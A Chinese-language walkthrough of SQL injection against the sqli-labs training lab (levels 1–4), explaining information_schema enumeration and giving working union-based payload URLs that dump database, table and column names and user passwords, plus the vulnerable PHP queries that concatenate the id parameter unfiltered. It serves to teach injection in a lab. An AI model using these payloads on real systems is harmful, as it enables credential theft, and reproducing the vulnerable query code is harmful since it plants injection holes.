SQL注入基础
在sql
语句中
select * from users id=1 and 1=1;
select * from users id=1 && 1=1;
select * from users id=1 & 1=1;
其中第一个和第二个是一样的,表达的意思是id=1
条件和1=1条件进行与运算。
第三个的意思是id=1
条件与1进行&位操作,id=1
被当作true
,与1进行&操作运算结果还是1,
再进行=操作,1=1还是1(&的优先级大于=)
注入流程
数据库-->数据表-->列-->数据项
我们的数据库存储的数据按照上图的形式,一个数据库中有很多的数据表,数据表中有很多的列,每一列中存储着数据。我们注入的过程就是先拿到数据库名,在获取到当前数据库名下的数据表,在获取当前数据表下的列,最后获取数据。
练习
select table_name from information_schema.tables where table_schema = "security";
Mysql
有一个系统数据库information_schema
,储存着所有数据库的相关信息,一般的,我们利用该表可以进行一次完整的注入。以下为一般的流程。
猜数据库
select schema_name from information_schema.schemata;
猜某库的数据表
select table_name from information_schema.tables where table_schema='xxxx';
猜某表的所有列
select column_name from information_schema.columns where table_name='xxxx';
获取某列的内容
select *** from ***;
Less-1
我们首先在id=1
后面添加一个'
来查看一下效果:
从上述的错误中,我们可以看到提交到sql中的1'
在经过sql语句构造后形成'1'' LIMIT 0,1
,后面多加了一个'
。这种方式就是从错误信息中得到我们所需要的信息,那我们接下来就要想,怎么把多余的'
去掉。
我们尝试'or 1=1--+
,此时我们构造的语句就成了
select *** where '1' or 1=1--+'LIMIT 0,1
可以看到没有报错。
接下来我么可以利用order by
进行测试。order by
对前面的数据进行排序,这里有三列数据,我们在这里只能测试到order by 3
超过3就会报错。
我们从源码中分析一下为什么会造成注入
if(isset($_GET['id']))
{
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
......
}
我们可以看到注入语句为SELECT * FROM users WHERE id='$id' LIMIT 0,1";
,id
参数在拼接sql语句的时候,未对id
进行任何的过滤操作,所以当提交'or 1=1 --+
,直接构造的语句就是SELECT * FROM users WHERE id='1' or 1=1 --+LIMIT 0,1;
,这条语句因or 1=1
所以为永真。
此外,此处我们再介绍一下union
联合注入,union
的作用是将两个sql
语句进行联合。union
可以从下面的例子中看看出,强调一点:union
前后两个sql
语句要相同才可以。union all
与union
的区别是增加了去重的功能。我们这里根据上述的知识,进行information_schema
知识的应用。
http://192.168.252.148/sqli-labs/Less-1/?id=-1' union select 1,2,3 --+
当id
的数据在数据库中不存在的时候,(此时我们可以id=-1
,两个sql
语句进行联合操作时,当前一个语句选择的内容为空,我们这里就将后面语句的内容显示出来)此时页面中显示了我们构造的union
的数据。
接下来我们暴数据库,我们可以看到其中被我们控制的字段是2
和3
这两个字段,所以我们就在这两个中进行数据的查询。
http://192.168.252.148/sqli-labs/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
此时的sql
语句为:
SELECT * FROM users WHERE id='-1' union select 1,group_concat(schma_name),3 from information_schema.schemata --+ LIMIT 0,1;
接下来就是暴表的操作,这里我们将security
转为16进制,我们也可以使用table_schema = 'security'
来进行表的筛选 。
http://192.168.252.148/sqli-labs/Less-1/
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 0x7365637572697479 --+
暴表中相应的字段名,这里的判断已经成了table_name = users
http://192.168.252.148/sqli-labs/Less-1/
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 0x7573657273 --+
此时的sql语句是
SELECT * from users WHERE id='-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 0x7573657273 --+ LIMIT 0,1;
数据表中的字段我们知道了,那我们就可以暴列了
http://192.168.252.148/sqli-labs/Less-1/
?id=-1' union select 1,group_concat(username),group_concat(password) from users --+
我们还可以逐id
来显示
Less-2
第二关是数字型
http://192.168.252.148/sqli-labs/Less-2/
?id=1' and 1=1 --+
http://192.168.252.148/sqli-labs/Less-2/
?id=1 and 1=1 --+
判断出是数字型之后,我们就直接可以按照之前的步骤来做了
暴库
http://192.168.252.148/sqli-labs/Less-2/
?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata --+
暴表
http://192.168.252.148/sqli-labs/Less-2/
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 0x7365637572697479 --+
暴字段
http://192.168.252.148/sqli-labs/Less-2/
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 0x7573657273 --+
暴列
http://192.168.252.148/sqli-labs/Less-2/
?id=-1 union select 1,group_concat(username),group_concat(password) from users --+
我们查看源码
if(isset($_GET['id']))
{
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
......
}
我们分析源码可以知道,这里没有对接收的id
加单引号,所以直接使用数字即可。
Less-3
这一关中,我们输入了'
之后,我们发现有提示:
我们根据提示我们可以得知,这次的闭合使用代码格式是id = ('$id')
,那我们可以尝试使用')
来闭合
这样一来,我们又可以得到用户名和密码,同时后面的查询也被注释掉了。
我们看一下源代码:
if(isset($_GET['id']))
{
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
......
}
这种情况下可以成功注入的有
') or '1'=('1'
) or 1=1 --+
剩下的步骤就是我们之前进行的步骤,将'
替换为')
即可。
Less-4
首先我们尝试'
,没有报错
然后接着尝试id = 1 and 1=2
,没有报错
我们再尝试')
,没有报错
当我们输入"
的时候,产生了错误
我们根据错误进行判断,我们需要使用")
来进行闭合。所以我们使用?id=1") --+
来尝试。
这样一来,我们又可以重复之前的步骤了,我们看一下源码:
if(isset($_GET['id']))
{
$id=$_GET['id'];
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
......
}
我们可以看到在源码中,我们对接收到的id
进行了两个"
的拼接,而且在查询语句中也使用了)
,所以可以成功注入的有
") or "1"=("1
") or 1=1 --+